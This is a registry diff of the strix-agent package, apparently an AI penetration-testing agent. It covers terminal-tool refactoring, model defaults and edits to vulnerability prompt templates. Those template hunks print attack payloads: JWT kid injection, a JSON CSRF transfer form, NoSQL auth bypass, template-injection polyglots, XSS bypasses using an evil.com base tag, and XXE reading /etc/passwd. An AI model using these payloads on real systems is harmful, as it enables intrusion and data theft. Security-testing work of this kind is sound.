strix-agent 0.1.8__py3-none-any.whl → 0.1.10__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (35) hide show
  1. strix/agents/StrixAgent/strix_agent.py +18 -6
  2. strix/agents/StrixAgent/system_prompt.jinja +29 -203
  3. strix/agents/base_agent.py +3 -0
  4. strix/cli/app.py +3 -1
  5. strix/cli/main.py +95 -8
  6. strix/cli/tool_components/terminal_renderer.py +92 -60
  7. strix/llm/config.py +1 -1
  8. strix/llm/llm.py +66 -2
  9. strix/llm/memory_compressor.py +1 -1
  10. strix/prompts/__init__.py +9 -13
  11. strix/prompts/vulnerabilities/authentication_jwt.jinja +7 -7
  12. strix/prompts/vulnerabilities/csrf.jinja +1 -1
  13. strix/prompts/vulnerabilities/idor.jinja +3 -3
  14. strix/prompts/vulnerabilities/rce.jinja +1 -1
  15. strix/prompts/vulnerabilities/sql_injection.jinja +3 -3
  16. strix/prompts/vulnerabilities/xss.jinja +3 -3
  17. strix/prompts/vulnerabilities/xxe.jinja +1 -1
  18. strix/runtime/docker_runtime.py +204 -160
  19. strix/runtime/runtime.py +3 -2
  20. strix/runtime/tool_server.py +136 -28
  21. strix/tools/agents_graph/agents_graph_actions.py +4 -10
  22. strix/tools/agents_graph/agents_graph_actions_schema.xml +18 -12
  23. strix/tools/argument_parser.py +2 -1
  24. strix/tools/executor.py +3 -0
  25. strix/tools/terminal/__init__.py +2 -2
  26. strix/tools/terminal/terminal_actions.py +22 -40
  27. strix/tools/terminal/terminal_actions_schema.xml +113 -84
  28. strix/tools/terminal/terminal_manager.py +83 -123
  29. strix/tools/terminal/terminal_session.py +447 -0
  30. {strix_agent-0.1.8.dist-info → strix_agent-0.1.10.dist-info}/METADATA +6 -4
  31. {strix_agent-0.1.8.dist-info → strix_agent-0.1.10.dist-info}/RECORD +34 -34
  32. strix/tools/terminal/terminal_instance.py +0 -231
  33. {strix_agent-0.1.8.dist-info → strix_agent-0.1.10.dist-info}/LICENSE +0 -0
  34. {strix_agent-0.1.8.dist-info → strix_agent-0.1.10.dist-info}/WHEEL +0 -0
  35. {strix_agent-0.1.8.dist-info → strix_agent-0.1.10.dist-info}/entry_points.txt +0 -0
@@ -8,7 +8,7 @@ from .registry import register_tool_renderer
8
8
 
9
9
  @register_tool_renderer
10
10
  class TerminalRenderer(BaseToolRenderer):
11
- tool_name: ClassVar[str] = "terminal_action"
11
+ tool_name: ClassVar[str] = "terminal_execute"
12
12
  css_classes: ClassVar[list[str]] = ["tool-call", "terminal-tool"]
13
13
 
14
14
  @classmethod
@@ -17,11 +17,12 @@ class TerminalRenderer(BaseToolRenderer):
17
17
  status = tool_data.get("status", "unknown")
18
18
  result = tool_data.get("result", {})
19
19
 
20
- action = args.get("action", "unknown")
21
- inputs = args.get("inputs", [])
20
+ command = args.get("command", "")
21
+ is_input = args.get("is_input", False)
22
22
  terminal_id = args.get("terminal_id", "default")
23
+ timeout = args.get("timeout")
23
24
 
24
- content = cls._build_sleek_content(action, inputs, terminal_id, result)
25
+ content = cls._build_sleek_content(command, is_input, terminal_id, timeout, result)
25
26
 
26
27
  css_classes = cls.get_css_classes(status)
27
28
  return Static(content, classes=css_classes)
@@ -29,71 +30,102 @@ class TerminalRenderer(BaseToolRenderer):
29
30
  @classmethod
30
31
  def _build_sleek_content(
31
32
  cls,
32
- action: str,
33
- inputs: list[str],
33
+ command: str,
34
+ is_input: bool,
34
35
  terminal_id: str, # noqa: ARG003
36
+ timeout: float | None, # noqa: ARG003
35
37
  result: dict[str, Any], # noqa: ARG003
36
38
  ) -> str:
37
39
  terminal_icon = ">_"
38
40
 
39
- if action in {"create", "new_terminal"}:
40
- command = cls._format_command(inputs) if inputs else "bash"
41
- return f"{terminal_icon} [#22c55e]${command}[/]"
42
-
43
- if action == "send_input":
44
- command = cls._format_command(inputs)
45
- return f"{terminal_icon} [#22c55e]${command}[/]"
46
-
47
- if action == "wait":
48
- return f"{terminal_icon} [dim]waiting...[/]"
49
-
50
- if action == "close":
51
- return f"{terminal_icon} [dim]close[/]"
52
-
53
- if action == "get_snapshot":
54
- return f"{terminal_icon} [dim]snapshot[/]"
55
-
56
- return f"{terminal_icon} [dim]{action}[/]"
41
+ if not command.strip():
42
+ return f"{terminal_icon} [dim]getting logs...[/]"
43
+
44
+ control_sequences = {
45
+ "C-c",
46
+ "C-d",
47
+ "C-z",
48
+ "C-a",
49
+ "C-e",
50
+ "C-k",
51
+ "C-l",
52
+ "C-u",
53
+ "C-w",
54
+ "C-r",
55
+ "C-s",
56
+ "C-t",
57
+ "C-y",
58
+ "^c",
59
+ "^d",
60
+ "^z",
61
+ "^a",
62
+ "^e",
63
+ "^k",
64
+ "^l",
65
+ "^u",
66
+ "^w",
67
+ "^r",
68
+ "^s",
69
+ "^t",
70
+ "^y",
71
+ }
72
+ special_keys = {
73
+ "Enter",
74
+ "Escape",
75
+ "Space",
76
+ "Tab",
77
+ "BTab",
78
+ "BSpace",
79
+ "DC",
80
+ "IC",
81
+ "Up",
82
+ "Down",
83
+ "Left",
84
+ "Right",
85
+ "Home",
86
+ "End",
87
+ "PageUp",
88
+ "PageDown",
89
+ "PgUp",
90
+ "PgDn",
91
+ "PPage",
92
+ "NPage",
93
+ "F1",
94
+ "F2",
95
+ "F3",
96
+ "F4",
97
+ "F5",
98
+ "F6",
99
+ "F7",
100
+ "F8",
101
+ "F9",
102
+ "F10",
103
+ "F11",
104
+ "F12",
105
+ }
106
+
107
+ is_special = (
108
+ command in control_sequences
109
+ or command in special_keys
110
+ or command.startswith(("M-", "S-", "C-S-", "C-M-", "S-M-"))
111
+ )
112
+
113
+ if is_special:
114
+ return f"{terminal_icon} [#ef4444]{command}[/]"
115
+
116
+ if is_input:
117
+ formatted_command = cls._format_command_display(command)
118
+ return f"{terminal_icon} [#3b82f6]>>>[/] [#22c55e]{formatted_command}[/]"
119
+
120
+ formatted_command = cls._format_command_display(command)
121
+ return f"{terminal_icon} [#22c55e]$ {formatted_command}[/]"
57
122
 
58
123
  @classmethod
59
- def _format_command(cls, inputs: list[str]) -> str:
60
- if not inputs:
124
+ def _format_command_display(cls, command: str) -> str:
125
+ if not command:
61
126
  return ""
62
127
 
63
- command_parts = []
64
-
65
- for input_item in inputs:
66
- if input_item == "Enter":
67
- break
68
- if input_item.startswith("literal:"):
69
- command_parts.append(input_item[8:])
70
- elif input_item in [
71
- "Space",
72
- "Tab",
73
- "Backspace",
74
- "Up",
75
- "Down",
76
- "Left",
77
- "Right",
78
- "Home",
79
- "End",
80
- "PageUp",
81
- "PageDown",
82
- "Insert",
83
- "Delete",
84
- "Escape",
85
- ] or input_item.startswith(("^", "C-", "S-", "A-", "F")):
86
- if input_item == "Space":
87
- command_parts.append(" ")
88
- elif input_item == "Tab":
89
- command_parts.append("\t")
90
- continue
91
- else:
92
- command_parts.append(input_item)
93
-
94
- command = "".join(command_parts).strip()
95
-
96
128
  if len(command) > 200:
97
129
  command = command[:197] + "..."
98
130
 
99
- return cls.escape_markup(command) if command else "bash"
131
+ return cls.escape_markup(command)
strix/llm/config.py CHANGED
@@ -9,7 +9,7 @@ class LLMConfig:
9
9
  enable_prompt_caching: bool = True,
10
10
  prompt_modules: list[str] | None = None,
11
11
  ):
12
- self.model_name = model_name or os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805")
12
+ self.model_name = model_name or os.getenv("STRIX_LLM", "openai/gpt-5")
13
13
 
14
14
  if not self.model_name:
15
15
  raise ValueError("STRIX_LLM environment variable must be set and not empty")
strix/llm/llm.py CHANGED
@@ -28,6 +28,39 @@ api_key = os.getenv("LLM_API_KEY")
28
28
  if api_key:
29
29
  litellm.api_key = api_key
30
30
 
31
+ MODELS_WITHOUT_STOP_WORDS = [
32
+ "gpt-5",
33
+ "gpt-5-mini",
34
+ "gpt-5-nano",
35
+ "o1-mini",
36
+ "o1-preview",
37
+ "o1",
38
+ "o1-2024-12-17",
39
+ "o3",
40
+ "o3-2025-04-16",
41
+ "o3-mini-2025-01-31",
42
+ "o3-mini",
43
+ "o4-mini",
44
+ "o4-mini-2025-04-16",
45
+ "grok-4-0709",
46
+ ]
47
+
48
+ REASONING_EFFORT_SUPPORTED_MODELS = [
49
+ "gpt-5",
50
+ "gpt-5-mini",
51
+ "gpt-5-nano",
52
+ "o1-2024-12-17",
53
+ "o1",
54
+ "o3",
55
+ "o3-2025-04-16",
56
+ "o3-mini-2025-01-31",
57
+ "o3-mini",
58
+ "o4-mini",
59
+ "o4-mini-2025-04-16",
60
+ "gemini-2.5-flash",
61
+ "gemini-2.5-pro",
62
+ ]
63
+
31
64
 
32
65
  class StepRole(str, Enum):
33
66
  AGENT = "agent"
@@ -240,17 +273,48 @@ class LLM:
240
273
  "supported": supports_prompt_caching(self.config.model_name),
241
274
  }
242
275
 
276
+ def _should_include_stop_param(self) -> bool:
277
+ if not self.config.model_name:
278
+ return True
279
+
280
+ actual_model_name = self.config.model_name.split("/")[-1].lower()
281
+ model_name_lower = self.config.model_name.lower()
282
+
283
+ return not any(
284
+ actual_model_name == unsupported_model.lower()
285
+ or model_name_lower == unsupported_model.lower()
286
+ for unsupported_model in MODELS_WITHOUT_STOP_WORDS
287
+ )
288
+
289
+ def _should_include_reasoning_effort(self) -> bool:
290
+ if not self.config.model_name:
291
+ return False
292
+
293
+ actual_model_name = self.config.model_name.split("/")[-1].lower()
294
+ model_name_lower = self.config.model_name.lower()
295
+
296
+ return any(
297
+ actual_model_name == supported_model.lower()
298
+ or model_name_lower == supported_model.lower()
299
+ for supported_model in REASONING_EFFORT_SUPPORTED_MODELS
300
+ )
301
+
243
302
  async def _make_request(
244
303
  self,
245
304
  messages: list[dict[str, Any]],
246
305
  ) -> ModelResponse:
247
- completion_args = {
306
+ completion_args: dict[str, Any] = {
248
307
  "model": self.config.model_name,
249
308
  "messages": messages,
250
309
  "temperature": self.config.temperature,
251
- "stop": ["</function>"],
252
310
  }
253
311
 
312
+ if self._should_include_stop_param():
313
+ completion_args["stop"] = ["</function>"]
314
+
315
+ if self._should_include_reasoning_effort():
316
+ completion_args["reasoning_effort"] = "medium"
317
+
254
318
  queue = get_global_queue()
255
319
  response = await queue.make_request(completion_args)
256
320
 
@@ -145,7 +145,7 @@ class MemoryCompressor:
145
145
  model_name: str | None = None,
146
146
  ):
147
147
  self.max_images = max_images
148
- self.model_name = model_name or os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805")
148
+ self.model_name = model_name or os.getenv("STRIX_LLM", "openai/gpt-5")
149
149
 
150
150
  if not self.model_name:
151
151
  raise ValueError("STRIX_LLM environment variable must be set and not empty")
strix/prompts/__init__.py CHANGED
@@ -49,25 +49,21 @@ def generate_modules_description() -> str:
49
49
  if not available_modules:
50
50
  return "No prompt modules available"
51
51
 
52
- description_parts = []
52
+ all_module_names = get_all_module_names()
53
53
 
54
- for category, modules in available_modules.items():
55
- modules_str = ", ".join(modules)
56
- description_parts.append(f"{category} ({modules_str})")
54
+ if not all_module_names:
55
+ return "No prompt modules available"
56
+
57
+ sorted_modules = sorted(all_module_names)
58
+ modules_str = ", ".join(sorted_modules)
57
59
 
58
60
  description = (
59
- f"List of prompt modules to load for this agent (max 3). "
60
- f"Available modules: {', '.join(description_parts)}. "
61
+ f"List of prompt modules to load for this agent (max 3). Available modules: {modules_str}. "
61
62
  )
62
63
 
63
- example_modules = []
64
- for modules in available_modules.values():
65
- example_modules.extend(modules[:2])
66
- if len(example_modules) >= 2:
67
- break
68
-
64
+ example_modules = sorted_modules[:2]
69
65
  if example_modules:
70
- example = f"Example: {example_modules[:2]} for specialized agent"
66
+ example = f"Example: {', '.join(example_modules)} for specialized agent"
71
67
  description += example
72
68
 
73
69
  return description
@@ -5,8 +5,8 @@
5
5
 
6
6
  <jwt_structure>
7
7
  header.payload.signature
8
- - Header: {"alg":"HS256","typ":"JWT"}
9
- - Payload: {"sub":"1234","name":"John","iat":1516239022}
8
+ - Header: {% raw %}{"alg":"HS256","typ":"JWT"}{% endraw %}
9
+ - Payload: {% raw %}{"sub":"1234","name":"John","iat":1516239022}{% endraw %}
10
10
  - Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
11
11
  </jwt_structure>
12
12
 
@@ -19,7 +19,7 @@ RS256 to HS256:
19
19
  </algorithm_confusion>
20
20
 
21
21
  <none_algorithm>
22
- - Set "alg": "none" in header
22
+ - Set {% raw %}"alg": "none"{% endraw %} in header
23
23
  - Remove signature completely (keep the trailing dot)
24
24
  </none_algorithm>
25
25
 
@@ -28,16 +28,16 @@ Common secrets: 'secret', 'password', '123456', 'key', 'jwt_secret', 'your-256-b
28
28
  </weak_secrets>
29
29
 
30
30
  <kid_manipulation>
31
- - SQL Injection: "kid": "key' UNION SELECT 'secret'--"
32
- - Command injection: "kid": "|sleep 10"
33
- - Path traversal: "kid": "../../../../../../dev/null"
31
+ - SQL Injection: {% raw %}"kid": "key' UNION SELECT 'secret'--"{% endraw %}
32
+ - Command injection: {% raw %}"kid": "|sleep 10"{% endraw %}
33
+ - Path traversal: {% raw %}"kid": "../../../../../../dev/null"{% endraw %}
34
34
  </kid_manipulation>
35
35
  </common_attacks>
36
36
 
37
37
  <advanced_techniques>
38
38
  <jwk_injection>
39
39
  Embed public key in token header:
40
- {"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}}
40
+ {% raw %}{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}}{% endraw %}
41
41
  </jwk_injection>
42
42
 
43
43
  <jku_manipulation>
@@ -48,7 +48,7 @@ HTML form auto-submit:
48
48
  <json_csrf>
49
49
  For JSON endpoints:
50
50
  <form enctype="text/plain" action="https://target.com/api">
51
- <input name='{"amount":1000,"to":"attacker","ignore":"' value='"}'>
51
+ <input name='{% raw %}{"amount":1000,"to":"attacker","ignore":"{% endraw %}' value='"}'>
52
52
  </form>
53
53
  </json_csrf>
54
54
 
@@ -15,7 +15,7 @@
15
15
 
16
16
  <advanced_enumeration>
17
17
  - Boundary values: 0, -1, null, empty string, max int
18
- - Different formats: {"id":123} vs {"id":"123"}
18
+ - Different formats: {% raw %}{"id":123} vs {"id":"123"}{% endraw %}
19
19
  - ID patterns: increment, decrement, similar patterns
20
20
  - Wildcard testing: *, %, _, all
21
21
  - Array notation: id[]=123&id[]=456
@@ -51,7 +51,7 @@ for i in range(1, 10000):
51
51
  <type_confusion>
52
52
  - String where int expected: "123" vs 123
53
53
  - Array where single value expected: [123] vs 123
54
- - Object injection: {"id": {"$ne": null}}
54
+ - Object injection: {% raw %}{"id": {"$ne": null}}{% endraw %}
55
55
  </type_confusion>
56
56
  </exploitation_techniques>
57
57
 
@@ -106,7 +106,7 @@ query { u1: user(id: 123) { data } u2: user(id: 456) { data } }
106
106
 
107
107
  <websocket_idor>
108
108
  Subscribe to other users' channels:
109
- {"subscribe": "user_456_notifications"}
109
+ {% raw %}{"subscribe": "user_456_notifications"}{% endraw %}
110
110
  </websocket_idor>
111
111
 
112
112
  <file_path_idor>
@@ -94,7 +94,7 @@ ${IFS}id
94
94
  <polyglot_payloads>
95
95
  Works in multiple contexts:
96
96
  ;id;#' |id| #" |id| #
97
- ${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}
97
+ {% raw %}${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}{% endraw %}
98
98
  </polyglot_payloads>
99
99
 
100
100
  <blind_rce>
@@ -152,9 +152,9 @@ PostgreSQL:
152
152
 
153
153
  <nosql_injection>
154
154
  <mongodb>
155
- {"username": {"$ne": null}, "password": {"$ne": null}}
156
- {"$where": "this.username == 'admin'"}
157
- {"username": {"$regex": "^admin"}}
155
+ {% raw %}{"username": {"$ne": null}, "password": {"$ne": null}}{% endraw %}
156
+ {% raw %}{"$where": "this.username == 'admin'"}{% endraw %}
157
+ {% raw %}{"username": {"$regex": "^admin"}}{% endraw %}
158
158
  </mongodb>
159
159
 
160
160
  <graphql>
@@ -9,7 +9,7 @@
9
9
  - Headers: User-Agent, Referer, X-Forwarded-For
10
10
  - Cookies (if reflected)
11
11
  - File uploads (filename, metadata)
12
- - JSON endpoints: {"user":"<payload>"}
12
+ - JSON endpoints: {% raw %}{"user":"<payload>"}{% endraw %}
13
13
  - postMessage handlers
14
14
  - DOM properties: location.hash, document.referrer
15
15
  - WebSocket messages
@@ -97,7 +97,7 @@ jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</
97
97
 
98
98
  <csp_bypasses>
99
99
  - JSONP endpoints: <script src="//site.com/jsonp?callback=alert">
100
- - AngularJS: {{constructor.constructor('alert(1)')()}}
100
+ - AngularJS: {% raw %}{{constructor.constructor('alert(1)')()}}{% endraw %}
101
101
  - Script gadgets in allowed libraries
102
102
  - Base tag injection: <base href="//evil.com/">
103
103
  - Object/embed: <object data="data:text/html,<script>alert(1)</script>">
@@ -145,7 +145,7 @@ navigator.mediaDevices.getUserMedia({video:true}).then(s=>...)
145
145
  </markdown>
146
146
 
147
147
  <react_vue>
148
- - dangerouslySetInnerHTML={{__html: payload}}
148
+ - dangerouslySetInnerHTML={% raw %}{{__html: payload}}{% endraw %}
149
149
  - v-html directive bypass
150
150
  </react_vue>
151
151
 
@@ -91,7 +91,7 @@ evil.dtd:
91
91
 
92
92
  <specific_contexts>
93
93
  <json_xxe>
94
- {"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}
94
+ {% raw %}{"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}{% endraw %}
95
95
  </json_xxe>
96
96
 
97
97
  <soap_xxe>